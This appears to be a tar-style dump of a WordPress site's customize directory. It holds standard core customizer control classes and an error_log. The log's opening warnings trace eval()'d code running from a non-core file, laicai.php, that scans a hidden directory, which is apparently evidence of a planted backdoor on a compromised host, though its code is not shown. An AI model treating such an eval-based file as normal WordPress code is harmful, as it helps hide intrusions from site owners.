public $removed = ''; // Unused.
public $context; // Unused.
public $extensions = array(); // Unused.
/**
* Refresh the parameters passed to the JavaScript via JSON.
*
* @since 3.4.0
*
* @uses WP_Customize_Media_Control::to_json()
*/
public function to_json() {
parent::to_json();
$value = $this->value();
if ( $value ) {
// Get the attachment model for the existing file.
$attachment_id = attachment_url_to_postid( $value );
if ( $attachment_id ) {
$this->json['attachment'] = wp_prepare_attachment_for_js( $attachment_id );
}
}
}
}
class-wp-sidebar-block-editor-control.php 0000644 00000001256 15172715560 0014464 0 ustar 00 <?php
/**
* Customize API: WP_Sidebar_Block_Editor_Control class.
*
* @package WordPress
* @subpackage Customize
* @since 5.8.0
*/
/**
* Core class used to implement the widgets block editor control in the
* customizer.
*
* @since 5.8.0
*
* @see WP_Customize_Control
*/
class WP_Sidebar_Block_Editor_Control extends WP_Customize_Control {
/**
* The control type.
*
* @since 5.8.0
*
* @var string
*/
public $type = 'sidebar_block_editor';
/**
* Render the widgets block editor container.
*
* @since 5.8.0
*/
public function render_content() {
// Render an empty control. The JavaScript in
// @wordpress/customize-widgets will do the rest.
}
}
error_log 0000644 00000031326 15172715560 0006477 0 ustar 00 [05-Apr-2026 14:22:39 UTC] PHP Warning: scandir(/home/lnzliplg/.nc_plugin): Failed to open directory: Permission denied in /home/lnzliplg/public_html/wp-includes/customize/laicai.php(1080) : eval()'d code on line 6
[05-Apr-2026 14:22:39 UTC] PHP Warning: scandir(): (errno 13): Permission denied in /home/lnzliplg/public_html/wp-includes/customize/laicai.php(1080) : eval()'d code on line 6
[05-Apr-2026 14:22:39 UTC] PHP Warning: foreach() argument must be of type array|object, bool given in /home/lnzliplg/public_html/wp-includes/customize/laicai.php(1080) : eval()'d code on line 7
[12-Apr-2026 03:23:00 UTC] PHP Fatal error: Uncaught Error: Class "WP_Customize_Control" not found in /home/lnzliplg/public_html/wp-includes/customize/class-wp-customize-date-time-control.php:17
Stack trace:
#0 {main}
thrown in /home/lnzliplg/public_html/wp-includes/customize/class-wp-customize-date-time-control.php on line 17
[14-Apr-2026 17:21:42 UTC] PHP Fatal error: Uncaught Error: Class "WP_Customize_Image_Control" not found in /home/lnzliplg/public_html/wp-includes/customize/class-wp-customize-cropped-image-control.php:17
Stack trace:
#0 {main}
thrown in /home/lnzliplg/public_html/wp-includes/customize/class-wp-customize-cropped-image-control.php on line 17
[15-Apr-2026 10:15:36 UTC] PHP Fatal error: Uncaught Error: Class "WP_Customize_Control" not found in /home/lnzliplg/public_html/wp-includes/customize/class-wp-customize-media-control.php:17
Stack trace:
#0 {main}
thrown in /home/lnzliplg/public_html/wp-includes/customize/class-wp-customize-media-control.php on line 17
[24-Apr-2026 15:12:25 UTC] PHP Fatal error: Uncaught Error: Class "WP_Customize_Control" not found in /home/lnzliplg/public_html/wp-includes/customize/class-wp-customize-code-editor-control.php:17
Stack trace:
#0 {main}
thrown in /home/lnzliplg/public_html/wp-includes/customize/class-wp-customize-code-editor-control.php on line 17
[24-Apr-2026 15:13:04 UTC] PHP Fatal error: Uncaught Error: Class "WP_Customize_Setting" not found in /home/lnzliplg/public_html/wp-includes/customize/class-wp-customize-filter-setting.php:19
Stack trace:
#0 {main}
thrown in /home/lnzliplg/public_html/wp-includes/customize/class-wp-customize-filter-setting.php on line 19
[24-Apr-2026 15:13:05 UTC] PHP Fatal error: Uncaught Error: Class "WP_Customize_Setting" not found in /home/lnzliplg/public_html/wp-includes/customize/class-wp-customize-custom-css-setting.php:19
Stack trace:
#0 {main}
thrown in /home/lnzliplg/public_html/wp-includes/customize/class-wp-customize-custom-css-setting.php on line 19
[24-Apr-2026 15:13:07 UTC] PHP Fatal error: Uncaught Error: Class "WP_Customize_Control" not found in /home/lnzliplg/public_html/wp-includes/customize/class-wp-customize-theme-control.php:17
Stack trace:
#0 {main}
thrown in /home/lnzliplg/public_html/wp-includes/customize/class-wp-customize-theme-control.php on line 17
[24-Apr-2026 15:13:36 UTC] PHP Fatal error: Uncaught Error: Class "WP_Customize_Upload_Control" not found in /home/lnzliplg/public_html/wp-includes/customize/class-wp-customize-image-control.php:17
Stack trace:
#0 {main}
thrown in /home/lnzliplg/public_html/wp-includes/customize/class-wp-customize-image-control.php on line 17
[24-Apr-2026 15:13:36 UTC] PHP Fatal error: Uncaught Error: Class "WP_Customize_Media_Control" not found in /home/lnzliplg/public_html/wp-includes/customize/class-wp-customize-upload-control.php:17
Stack trace:
#0 {main}
thrown in /home/lnzliplg/public_html/wp-includes/customize/class-wp-customize-upload-control.php on line 17
[24-Apr-2026 15:13:37 UTC] PHP Fatal error: Uncaught Error: Class "WP_Customize_Section" not found in /home/lnzliplg/public_html/wp-includes/customize/class-wp-customize-sidebar-section.php:17
Stack trace:
#0 {main}
thrown in /home/lnzliplg/public_html/wp-includes/customize/class-wp-customize-sidebar-section.php on line 17
[24-Apr-2026 15:13:41 UTC] PHP Fatal error: Uncaught Error: Class "WP_Customize_Image_Control" not found in /home/lnzliplg/public_html/wp-includes/customize/class-wp-customize-background-image-control.php:17
Stack trace:
#0 {main}
thrown in /home/lnzliplg/public_html/wp-includes/customize/class-wp-customize-background-image-control.php on line 17
[24-Apr-2026 15:13:41 UTC] PHP Fatal error: Uncaught Error: Class "WP_Customize_Section" not found in /home/lnzliplg/public_html/wp-includes/customize/class-wp-customize-themes-section.php:19
Stack trace:
#0 {main}
thrown in /home/lnzliplg/public_html/wp-includes/customize/class-wp-customize-themes-section.php on line 19
[24-Apr-2026 15:13:46 UTC] PHP Fatal error: Uncaught Error: Class "WP_Customize_Control" not found in /home/lnzliplg/public_html/wp-includes/customize/class-wp-customize-date-time-control.php:17
Stack trace:
#0 {main}
thrown in /home/lnzliplg/public_html/wp-includes/customize/class-wp-customize-date-time-control.php on line 17
[24-Apr-2026 15:13:51 UTC] PHP Fatal error: Uncaught Error: Class "WP_Customize_Section" not found in /home/lnzliplg/public_html/wp-includes/customize/class-wp-customize-nav-menu-section.php:19
Stack trace:
#0 {main}
thrown in /home/lnzliplg/public_html/wp-includes/customize/class-wp-customize-nav-menu-section.php on line 19
[24-Apr-2026 15:13:57 UTC] PHP Fatal error: Uncaught Error: Class "WP_Customize_Control" not found in /home/lnzliplg/public_html/wp-includes/customize/class-wp-sidebar-block-editor-control.php:18
Stack trace:
#0 {main}
thrown in /home/lnzliplg/public_html/wp-includes/customize/class-wp-sidebar-block-editor-control.php on line 18
[24-Apr-2026 15:14:01 UTC] PHP Fatal error: Uncaught Error: Call to undefined function _deprecated_file() in /home/lnzliplg/public_html/wp-includes/customize/class-wp-customize-new-menu-section.php:11
Stack trace:
#0 {main}
thrown in /home/lnzliplg/public_html/wp-includes/customize/class-wp-customize-new-menu-section.php on line 11
[24-Apr-2026 15:14:16 UTC] PHP Fatal error: Uncaught Error: Class "WP_Customize_Control" not found in /home/lnzliplg/public_html/wp-includes/customize/class-wp-customize-nav-menu-control.php:17
Stack trace:
#0 {main}
thrown in /home/lnzliplg/public_html/wp-includes/customize/class-wp-customize-nav-menu-control.php on line 17
[24-Apr-2026 15:14:21 UTC] PHP Fatal error: Uncaught Error: Class "WP_Customize_Control" not found in /home/lnzliplg/public_html/wp-includes/customize/class-wp-widget-area-customize-control.php:17
Stack trace:
#0 {main}
thrown in /home/lnzliplg/public_html/wp-includes/customize/class-wp-widget-area-customize-control.php on line 17
[24-Apr-2026 15:14:26 UTC] PHP Fatal error: Uncaught Error: Class "WP_Customize_Setting" not found in /home/lnzliplg/public_html/wp-includes/customize/class-wp-customize-nav-menu-setting.php:21
Stack trace:
#0 {main}
thrown in /home/lnzliplg/public_html/wp-includes/customize/class-wp-customize-nav-menu-setting.php on line 21
[24-Apr-2026 15:14:31 UTC] PHP Fatal error: Uncaught Error: Class "WP_Customize_Control" not found in /home/lnzliplg/public_html/wp-includes/customize/class-wp-widget-form-customize-control.php:17
Stack trace:
#0 {main}
thrown in /home/lnzliplg/public_html/wp-includes/customize/class-wp-widget-form-customize-control.php on line 17
[24-Apr-2026 15:14:52 UTC] PHP Fatal error: Uncaught Error: Class "WP_Customize_Control" not found in /home/lnzliplg/public_html/wp-includes/customize/class-wp-customize-media-control.php:17
Stack trace:
#0 {main}
thrown in /home/lnzliplg/public_html/wp-includes/customize/class-wp-customize-media-control.php on line 17
[24-Apr-2026 15:15:08 UTC] PHP Fatal error: Uncaught Error: Class "WP_Customize_Control" not found in /home/lnzliplg/public_html/wp-includes/customize/class-wp-customize-nav-menu-name-control.php:17
Stack trace:
#0 {main}
thrown in /home/lnzliplg/public_html/wp-includes/customize/class-wp-customize-nav-menu-name-control.php on line 17
[24-Apr-2026 15:15:19 UTC] PHP Fatal error: Uncaught Error: Class "WP_Customize_Panel" not found in /home/lnzliplg/public_html/wp-includes/customize/class-wp-customize-nav-menus-panel.php:19
Stack trace:
#0 {main}
thrown in /home/lnzliplg/public_html/wp-includes/customize/class-wp-customize-nav-menus-panel.php on line 19
[24-Apr-2026 15:15:23 UTC] PHP Fatal error: Uncaught Error: Class "WP_Customize_Control" not found in /home/lnzliplg/public_html/wp-includes/customize/class-wp-customize-nav-menu-auto-add-control.php:17
Stack trace:
#0 {main}
thrown in /home/lnzliplg/public_html/wp-includes/customize/class-wp-customize-nav-menu-auto-add-control.php on line 17
[24-Apr-2026 15:15:28 UTC] PHP Fatal error: Uncaught Error: Class "WP_Customize_Control" not found in /home/lnzliplg/public_html/wp-includes/customize/class-wp-customize-nav-menu-locations-control.php:17
Stack trace:
#0 {main}
thrown in /home/lnzliplg/public_html/wp-includes/customize/class-wp-customize-nav-menu-locations-control.php on line 17
[24-Apr-2026 15:15:33 UTC] PHP Fatal error: Uncaught Error: Class "WP_Customize_Cropped_Image_Control" not found in /home/lnzliplg/public_html/wp-includes/customize/class-wp-customize-site-icon-control.php:19
Stack trace:
#0 {main}
thrown in /home/lnzliplg/public_html/wp-includes/customize/class-wp-customize-site-icon-control.php on line 19
[24-Apr-2026 15:15:38 UTC] PHP Fatal error: Uncaught Error: Class "WP_Customize_Control" not found in /home/lnzliplg/public_html/wp-includes/customize/class-wp-customize-nav-menu-item-control.php:17
Stack trace:
#0 {main}
thrown in /home/lnzliplg/public_html/wp-includes/customize/class-wp-customize-nav-menu-item-control.php on line 17
[24-Apr-2026 15:15:43 UTC] PHP Fatal error: Uncaught Error: Class "WP_Customize_Setting" not found in /home/lnzliplg/public_html/wp-includes/customize/class-wp-customize-nav-menu-item-setting.php:20
Stack trace:
#0 {main}
thrown in /home/lnzliplg/public_html/wp-includes/customize/class-wp-customize-nav-menu-item-setting.php on line 20
[24-Apr-2026 15:15:48 UTC] PHP Fatal error: Uncaught Error: Call to undefined function _deprecated_file() in /home/lnzliplg/public_html/wp-includes/customize/class-wp-customize-new-menu-control.php:11
Stack trace:
#0 {main}
thrown in /home/lnzliplg/public_html/wp-includes/customize/class-wp-customize-new-menu-control.php on line 11
[24-Apr-2026 15:15:53 UTC] PHP Fatal error: Uncaught Error: Class "WP_Customize_Image_Control" not found in /home/lnzliplg/public_html/wp-includes/customize/class-wp-customize-cropped-image-control.php:17
Stack trace:
#0 {main}
thrown in /home/lnzliplg/public_html/wp-includes/customize/class-wp-customize-cropped-image-control.php on line 17
[24-Apr-2026 15:16:08 UTC] PHP Fatal error: Uncaught Error: Class "WP_Customize_Control" not found in /home/lnzliplg/public_html/wp-includes/customize/class-wp-customize-color-control.php:17
Stack trace:
#0 {main}
thrown in /home/lnzliplg/public_html/wp-includes/customize/class-wp-customize-color-control.php on line 17
[24-Apr-2026 16:30:01 UTC] PHP Fatal error: Uncaught Error: Class "WP_Customize_Panel" not found in /home/lnzliplg/public_html/wp-includes/customize/class-wp-customize-themes-panel.php:17
Stack trace:
#0 {main}
thrown in /home/lnzliplg/public_html/wp-includes/customize/class-wp-customize-themes-panel.php on line 17
[24-Apr-2026 16:30:01 UTC] PHP Fatal error: Uncaught Error: Class "WP_Customize_Control" not found in /home/lnzliplg/public_html/wp-includes/customize/class-wp-customize-nav-menu-location-control.php:19
Stack trace:
#0 {main}
thrown in /home/lnzliplg/public_html/wp-includes/customize/class-wp-customize-nav-menu-location-control.php on line 19
[24-Apr-2026 16:30:01 UTC] PHP Fatal error: Uncaught Error: Class "WP_Customize_Image_Control" not found in /home/lnzliplg/public_html/wp-includes/customize/class-wp-customize-header-image-control.php:17
Stack trace:
#0 {main}
thrown in /home/lnzliplg/public_html/wp-includes/customize/class-wp-customize-header-image-control.php on line 17
[24-Apr-2026 16:30:02 UTC] PHP Fatal error: Uncaught Error: Class "WP_Customize_Setting" not found in /home/lnzliplg/public_html/wp-includes/customize/class-wp-customize-background-image-setting.php:17
Stack trace:
#0 {main}
thrown in /home/lnzliplg/public_html/wp-includes/customize/class-wp-customize-background-image-setting.php on line 17
[24-Apr-2026 16:30:02 UTC] PHP Fatal error: Uncaught Error: Class "WP_Customize_Setting" not found in /home/lnzliplg/public_html/wp-includes/customize/class-wp-customize-header-image-setting.php:19
Stack trace:
#0 {main}
thrown in /home/lnzliplg/public_html/wp-includes/customize/class-wp-customize-header-image-setting.php on line 19
[24-Apr-2026 16:30:02 UTC] PHP Fatal error: Uncaught Error: Class "WP_Customize_Control" not found in /home/lnzliplg/public_html/wp-includes/customize/class-wp-customize-background-position-control.php:17
Stack trace:
#0 {main}
thrown in /home/lnzliplg/public_html/wp-includes/customize/class-wp-customize-background-position-control.php on line 17
class-wp-customize-theme-control.php 0000644 00000027161 15172715560 0013624 0 ustar 00 <?php
/**
* Customize API: WP_Customize_Theme_Control class
*
* @package WordPress
* @subpackage Customize
* @since 4.4.0
*/
/**
* Customize Theme Control class.
*
* @since 4.2.0
*
* @see WP_Customize_Control
*/
class WP_Customize_Theme_Control extends WP_Customize_Control {
/**
* Customize control type.
*
* @since 4.2.0
* @var string
*/
public $type = 'theme';
/**
* Theme object.
*
* @since 4.2.0
* @var WP_Theme
*/
public $theme;
/**
* Refresh the parameters passed to the JavaScript via JSON.
*
* @since 4.2.0
*
* @see WP_Customize_Control::to_json()
*/
public function to_json() {
parent::to_json();
$this->json['theme'] = $this->theme;
}
/**
* Don't render the control content from PHP, as it's rendered via JS on load.
*
* @since 4.2.0
*/
public function render_content() {}
/**
* Render a JS template for theme display.
*
* @since 4.2.0
*/
public function content_template() {
/* translators: %s: Theme name. */
$details_label = sprintf( __( 'Details for theme: %s' ), '{{ data.theme.name }}' );
/* translators: %s: Theme name. */
$customize_label = sprintf( __( 'Customize theme: %s' ), '{{ data.theme.name }}' );
/* translators: %s: Theme name. */
$preview_label = sprintf( __( 'Live preview theme: %s' ), '{{ data.theme.name }}' );
/* translators: %s: Theme name. */
$install_label = sprintf( __( 'Install and preview theme: %s' ), '{{ data.theme.name }}' );
?>
<# if ( data.theme.active ) { #>
<div class="theme active" tabindex="0" aria-describedby="{{ data.section }}-{{ data.theme.id }}-action">
<# } else { #>
<div class="theme" tabindex="0" aria-describedby="{{ data.section }}-{{ data.theme.id }}-action">
<# } #>
<# if ( data.theme.screenshot && data.theme.screenshot[0] ) { #>
<div class="theme-screenshot">
<img data-src="{{ data.theme.screenshot[0] }}?ver={{ data.theme.version }}" alt="" />
</div>
<# } else { #>
<div class="theme-screenshot blank"></div>
<# } #>
<span class="more-details theme-details" id="{{ data.section }}-{{ data.theme.id }}-action" aria-label="<?php echo esc_attr( $details_label ); ?>"><?php _e( 'Theme Details' ); ?></span>
<div class="theme-author">
<?php
/* translators: Theme author name. */
printf( _x( 'By %s', 'theme author' ), '{{ data.theme.author }}' );
?>
</div>
<# if ( 'installed' === data.theme.type && data.theme.hasUpdate ) { #>
<# if ( data.theme.updateResponse.compatibleWP && data.theme.updateResponse.compatiblePHP ) { #>
<div class="update-message notice inline notice-warning notice-alt" data-slug="{{ data.theme.id }}">
<p>
<?php
if ( is_multisite() ) {
_e( 'New version available.' );
} else {
printf(
/* translators: %s: "Update now" button. */
__( 'New version available. %s' ),
'<button class="button-link update-theme" type="button">' . __( 'Update now' ) . '</button>'
);
}
?>
</p>
</div>
<# } else { #>
<div class="update-message notice inline notice-error notice-alt" data-slug="{{ data.theme.id }}">
<p>
<# if ( ! data.theme.updateResponse.compatibleWP && ! data.theme.updateResponse.compatiblePHP ) { #>
<?php
printf(
/* translators: %s: Theme name. */
__( 'There is a new version of %s available, but it does not work with your versions of WordPress and PHP.' ),
'{{{ data.theme.name }}}'
);
if ( current_user_can( 'update_core' ) && current_user_can( 'update_php' ) ) {
printf(
/* translators: 1: URL to WordPress Updates screen, 2: URL to Update PHP page. */
' ' . __( '<a href="%1$s">Please update WordPress</a>, and then <a href="%2$s">learn more about updating PHP</a>.' ),
self_admin_url( 'update-core.php' ),
esc_url( wp_get_update_php_url() )
);
wp_update_php_annotation( '</p><p><em>', '</em>' );
} elseif ( current_user_can( 'update_core' ) ) {
printf(
/* translators: %s: URL to WordPress Updates screen. */
' ' . __( '<a href="%s">Please update WordPress</a>.' ),
self_admin_url( 'update-core.php' )
);
} elseif ( current_user_can( 'update_php' ) ) {
printf(
/* translators: %s: URL to Update PHP page. */
' ' . __( '<a href="%s">Learn more about updating PHP</a>.' ),
esc_url( wp_get_update_php_url() )
);
wp_update_php_annotation( '</p><p><em>', '</em>' );
}
?>
<# } else if ( ! data.theme.updateResponse.compatibleWP ) { #>
<?php
printf(
/* translators: %s: Theme name. */
__( 'There is a new version of %s available, but it does not work with your version of WordPress.' ),
'{{{ data.theme.name }}}'
);
if ( current_user_can( 'update_core' ) ) {
printf(
/* translators: %s: URL to WordPress Updates screen. */
' ' . __( '<a href="%s">Please update WordPress</a>.' ),
self_admin_url( 'update-core.php' )
);
}
?>
<# } else if ( ! data.theme.updateResponse.compatiblePHP ) { #>
<?php
printf(
/* translators: %s: Theme name. */
__( 'There is a new version of %s available, but it does not work with your version of PHP.' ),
'{{{ data.theme.name }}}'
);
if ( current_user_can( 'update_php' ) ) {
printf(
/* translators: %s: URL to Update PHP page. */
' ' . __( '<a href="%s">Learn more about updating PHP</a>.' ),
esc_url( wp_get_update_php_url() )
);
wp_update_php_annotation( '</p><p><em>', '</em>' );
}
?>
<# } #>
</p>
</div>
<# } #>
<# } #>
<# if ( ! data.theme.compatibleWP || ! data.theme.compatiblePHP ) { #>
<div class="notice notice-error notice-alt"><p>
<# if ( ! data.theme.compatibleWP && ! data.theme.compatiblePHP ) { #>
<?php
_e( 'This theme does not work with your versions of WordPress and PHP.' );
if ( current_user_can( 'update_core' ) && current_user_can( 'update_php' ) ) {
printf(
/* translators: 1: URL to WordPress Updates screen, 2: URL to Update PHP page. */
' ' . __( '<a href="%1$s">Please update WordPress</a>, and then <a href="%2$s">learn more about updating PHP</a>.' ),
self_admin_url( 'update-core.php' ),
esc_url( wp_get_update_php_url() )
);
wp_update_php_annotation( '</p><p><em>', '</em>' );
} elseif ( current_user_can( 'update_core' ) ) {
printf(
/* translators: %s: URL to WordPress Updates screen. */
' ' . __( '<a href="%s">Please update WordPress</a>.' ),
self_admin_url( 'update-core.php' )
);
} elseif ( current_user_can( 'update_php' ) ) {
printf(
/* translators: %s: URL to Update PHP page. */
' ' . __( '<a href="%s">Learn more about updating PHP</a>.' ),
esc_url( wp_get_update_php_url() )
);
wp_update_php_annotation( '</p><p><em>', '</em>' );
}
?>
<# } else if ( ! data.theme.compatibleWP ) { #>
<?php
_e( 'This theme does not work with your version of WordPress.' );
if ( current_user_can( 'update_core' ) ) {
printf(
/* translators: %s: URL to WordPress Updates screen. */
' ' . __( '<a href="%s">Please update WordPress</a>.' ),
self_admin_url( 'update-core.php' )
);
}
?>
<# } else if ( ! data.theme.compatiblePHP ) { #>
<?php
_e( 'This theme does not work with your version of PHP.' );
if ( current_user_can( 'update_php' ) ) {
printf(
/* translators: %s: URL to Update PHP page. */
' ' . __( '<a href="%s">Learn more about updating PHP</a>.' ),
esc_url( wp_get_update_php_url() )
);
wp_update_php_annotation( '</p><p><em>', '</em>' );
}
?>
<# } #>
</p></div>
<# } #>
<# if ( data.theme.active ) { #>
<div class="theme-id-container">
<h3 class="theme-name" id="{{ data.section }}-{{ data.theme.id }}-name">
<span><?php _ex( 'Previewing:', 'theme' ); ?></span> {{ data.theme.name }}
</h3>
<div class="theme-actions">
<button type="button" class="button button-primary customize-theme" aria-label="<?php echo esc_attr( $customize_label ); ?>"><?php _e( 'Customize' ); ?></button>
</div>
</div>
<?php
wp_admin_notice(
_x( 'Installed', 'theme' ),
array(
'type' => 'success',
'additional_classes' => array( 'notice-alt' ),
)
);
?>
<# } else if ( 'installed' === data.theme.type ) { #>
<# if ( data.theme.blockTheme ) { #>
<div class="theme-id-container">
<h3 class="theme-name" id="{{ data.section }}-{{ data.theme.id }}-name">{{ data.theme.name }}</h3>
<div class="theme-actions">
<# if ( data.theme.actions.activate ) { #>
<?php
/* translators: %s: Theme name. */
$aria_label = sprintf( _x( 'Activate %s', 'theme' ), '{{ data.name }}' );
?>
<a href="{{{ data.theme.actions.activate }}}" class="button button-primary activate" aria-label="<?php echo esc_attr( $aria_label ); ?>"><?php _e( 'Activate' ); ?></a>
<# } #>
</div>
</div>
<?php $customizer_not_supported_message = __( 'This theme doesn\'t support Customizer.' ); ?>
<# if ( data.theme.actions.activate ) { #>
<?php
$customizer_not_supported_message .= ' ' . sprintf(
/* translators: %s: URL to the themes page (also it activates the theme). */
__( 'However, you can still <a href="%s">activate this theme</a>, and use the Site Editor to customize it.' ),
'{{{ data.theme.actions.activate }}}'
);
?>
<# } #>
<?php
wp_admin_notice(
$customizer_not_supported_message,
array(
'type' => 'error',
'additional_classes' => array( 'notice-alt' ),
)
);
?>
<# } else { #>
<div class="theme-id-container">
<h3 class="theme-name" id="{{ data.section }}-{{ data.theme.id }}-name">{{ data.theme.name }}</h3>
<div class="theme-actions">
<# if ( data.theme.compatibleWP && data.theme.compatiblePHP ) { #>
<button type="button" class="button button-primary preview-theme" aria-label="<?php echo esc_attr( $preview_label ); ?>" data-slug="{{ data.theme.id }}"><?php _e( 'Live Preview' ); ?></button>
<# } else { #>
<button type="button" class="button button-primary disabled" aria-label="<?php echo esc_attr( $preview_label ); ?>"><?php _e( 'Live Preview' ); ?></button>
<# } #>
</div>
</div>
<?php
wp_admin_notice(
_x( 'Installed', 'theme' ),
array(
'type' => 'success',
'additional_classes' => array( 'notice-alt' ),
)
);
?>
<# } #>
<# } else { #>
<div class="theme-id-container">
<h3 class="theme-name" id="{{ data.section }}-{{ data.theme.id }}-name">{{ data.theme.name }}</h3>
<div class="theme-actions">
<# if ( data.theme.compatibleWP && data.theme.compatiblePHP ) { #>
<button type="button" class="button button-primary theme-install preview" aria-label="<?php echo esc_attr( $install_label ); ?>" data-slug="{{ data.theme.id }}" data-name="{{ data.theme.name }}"><?php _e( 'Install & Preview' ); ?></button>
<# } else { #>
<button type="button" class="button button-primary disabled" aria-label="<?php echo esc_attr( $install_label ); ?>" disabled><?php _e( 'Install & Preview' ); ?></button>
<# } #>
</div>
</div>
<# } #>
</div>
<?php
}
}
class-wp-customize-color-control.php 0000644 00000006211 15172715560 0013631 0 ustar 00 <?php
/**
* Customize API: WP_Customize_Color_Control class
*
* @package WordPress
* @subpackage Customize
* @since 4.4.0
*/
/**
* Customize Color Control class.
*
* @since 3.4.0
*
* @see WP_Customize_Control
*/
class WP_Customize_Color_Control extends WP_Customize_Control {
/**
* Type.
*
* @var string
*/
public $type = 'color';
/**
* Statuses.
*
* @var array
*/
public $statuses;
/**
* Mode.
*
* @since 4.7.0
* @var string
*/
public $mode = 'full';
/**
* Constructor.
*
* @since 3.4.0
*
* @see WP_Customize_Control::__construct()
*
* @param WP_Customize_Manager $manager Customizer bootstrap instance.
* @param string $id Control ID.
* @param array $args Optional. Arguments to override class property defaults.
* See WP_Customize_Control::__construct() for information
* on accepted arguments. Default empty array.
*/
public function __construct( $manager, $id, $args = array() ) {
$this->statuses = array( '' => __( 'Default' ) );
parent::__construct( $manager, $id, $args );
}
/**
* Enqueue scripts/styles for the color picker.
*
* @since 3.4.0
*/
public function enqueue() {
wp_enqueue_script( 'wp-color-picker' );
wp_enqueue_style( 'wp-color-picker' );
}
/**
* Refresh the parameters passed to the JavaScript via JSON.
*
* @since 3.4.0
* @uses WP_Customize_Control::to_json()
*/
public function to_json() {
parent::to_json();
$this->json['statuses'] = $this->statuses;
$this->json['defaultValue'] = $this->setting->default;
$this->json['mode'] = $this->mode;
}
/**
* Don't render the control content from PHP, as it's rendered via JS on load.
*
* @since 3.4.0
*/
public function render_content() {}
/**
* Render a JS template for the content of the color picker control.
*
* @since 4.1.0
*/
public function content_template() {
?>
<#
var defaultValue = '#RRGGBB',
defaultValueAttr = '',
inputId = _.uniqueId( 'customize-color-control-input-' ),
isHueSlider = data.mode === 'hue';
if ( data.defaultValue && _.isString( data.defaultValue ) && ! isHueSlider ) {
if ( '#' !== data.defaultValue.substring( 0, 1 ) ) {
defaultValue = '#' + data.defaultValue;
} else {
defaultValue = data.defaultValue;
}
defaultValueAttr = ' data-default-color=' + defaultValue; // Quotes added automatically.
}
#>
<# if ( data.label ) { #>
<span class="customize-control-title">{{{ data.label }}}</span>
<# } #>
<# if ( data.description ) { #>
<span class="description customize-control-description">{{{ data.description }}}</span>
<# } #>
<div class="customize-control-content">
<label for="{{ inputId }}"><span class="screen-reader-text">{{{ data.label }}}</span></label>
<# if ( isHueSlider ) { #>
<input id="{{ inputId }}" class="color-picker-hue" type="number" min="1" max="359" data-type="hue" />
<# } else { #>
<input id="{{ inputId }}" class="color-picker-hex" type="text" maxlength="7" placeholder="{{ defaultValue }}" {{ defaultValueAttr }} />
<# } #>
</div>
<?php
}
}
class-wp-customize-background-image-control.php 0000644 00000002404 15172715560 0015712 0 ustar 00 <?php
/**
* Customize API: WP_Customize_Background_Image_Control class
*
* @package WordPress
* @subpackage Customize
* @since 4.4.0
*/
/**
* Customize Background Image Control class.
*
* @since 3.4.0
*
* @see WP_Customize_Image_Control
*/
class WP_Customize_Background_Image_Control extends WP_Customize_Image_Control {
/**
* Customize control type.
*
* @since 4.1.0
* @var string
*/
public $type = 'background';
/**
* Constructor.
*
* @since 3.4.0
* @uses WP_Customize_Image_Control::__construct()
*
* @param WP_Customize_Manager $manager Customizer bootstrap instance.
*/
public function __construct( $manager ) {
parent::__construct(
$manager,
'background_image',
array(
'label' => __( 'Background Image' ),
'section' => 'background_image',
)
);
}
/**
* Enqueue control related scripts/styles.
*
* @since 4.1.0
*/
public function enqueue() {
parent::enqueue();
$custom_background = get_theme_support( 'custom-background' );
wp_localize_script(
'customize-controls',
'_wpCustomizeBackground',
array(
'defaults' => ! empty( $custom_background[0] ) ? $custom_background[0] : array(),
'nonces' => array(
'add' => wp_create_nonce( 'background-add' ),
),
)
);
}
}
class-wp-customize-date-time-control.php 0000644 00000022346 15172715560 0014373 0 ustar 00 <?php
/**
* Customize API: WP_Customize_Date_Time_Control class
*
* @package WordPress
* @subpackage Customize
* @since 4.9.0
*/
/**
* Customize Date Time Control class.
*
* @since 4.9.0
*
* @see WP_Customize_Control
*/
class WP_Customize_Date_Time_Control extends WP_Customize_Control {
/**
* Customize control type.
*
* @since 4.9.0
* @var string
*/
public $type = 'date_time';
/**
* Minimum Year.
*
* @since 4.9.0
* @var int
*/
public $min_year = 1000;
/**
* Maximum Year.
*
* @since 4.9.0
* @var int
*/
public $max_year = 9999;
/**
* Allow past date, if set to false user can only select future date.
*
* @since 4.9.0
* @var bool
*/
public $allow_past_date = true;
/**
* Whether hours, minutes, and meridian should be shown.
*
* @since 4.9.0
* @var bool
*/
public $include_time = true;
/**
* If set to false the control will appear in 24 hour format,
* the value will still be saved in Y-m-d H:i:s format.
*
* @since 4.9.0
* @var bool
*/
public $twelve_hour_format = true;
/**
* Don't render the control's content - it's rendered with a JS template.
*
* @since 4.9.0
*/
public function render_content() {}
/**
* Export data to JS.
*
* @since 4.9.0
* @return array
*/
public function json() {
$data = parent::json();
$data['maxYear'] = (int) $this->max_year;
$data['minYear'] = (int) $this->min_year;
$data['allowPastDate'] = (bool) $this->allow_past_date;
$data['twelveHourFormat'] = (bool) $this->twelve_hour_format;
$data['includeTime'] = (bool) $this->include_time;
return $data;
}
/**
* Renders a JS template for the content of date time control.
*
* @since 4.9.0
*/
public function content_template() {
$data = array_merge( $this->json(), $this->get_month_choices() );
$timezone_info = $this->get_timezone_info();
$date_format = get_option( 'date_format' );
$date_format = preg_replace( '/(?<!\\\\)[Yyo]/', '%1$s', $date_format );
$date_format = preg_replace( '/(?<!\\\\)[FmMn]/', '%2$s', $date_format );
$date_format = preg_replace( '/(?<!\\\\)[jd]/', '%3$s', $date_format );
// Fallback to ISO date format if year, month, or day are missing from the date format.
if ( 1 !== substr_count( $date_format, '%1$s' ) || 1 !== substr_count( $date_format, '%2$s' ) || 1 !== substr_count( $date_format, '%3$s' ) ) {
$date_format = '%1$s-%2$s-%3$s';
}
?>
<# _.defaults( data, <?php echo wp_json_encode( $data ); ?> ); #>
<# var idPrefix = _.uniqueId( 'el' ) + '-'; #>
<# if ( data.label ) { #>
<span class="customize-control-title">
{{ data.label }}
</span>
<# } #>
<div class="customize-control-notifications-container"></div>
<# if ( data.description ) { #>
<span class="description customize-control-description">{{ data.description }}</span>
<# } #>
<div class="date-time-fields {{ data.includeTime ? 'includes-time' : '' }}">
<fieldset class="day-row">
<legend class="title-day {{ ! data.includeTime ? 'screen-reader-text' : '' }}"><?php esc_html_e( 'Date' ); ?></legend>
<div class="day-fields clear">
<?php ob_start(); ?>
<label for="{{ idPrefix }}date-time-month" class="screen-reader-text">
<?php
/* translators: Hidden accessibility text. */
esc_html_e( 'Month' );
?>
</label>
<select id="{{ idPrefix }}date-time-month" class="date-input month" data-component="month">
<# _.each( data.month_choices, function( choice ) {
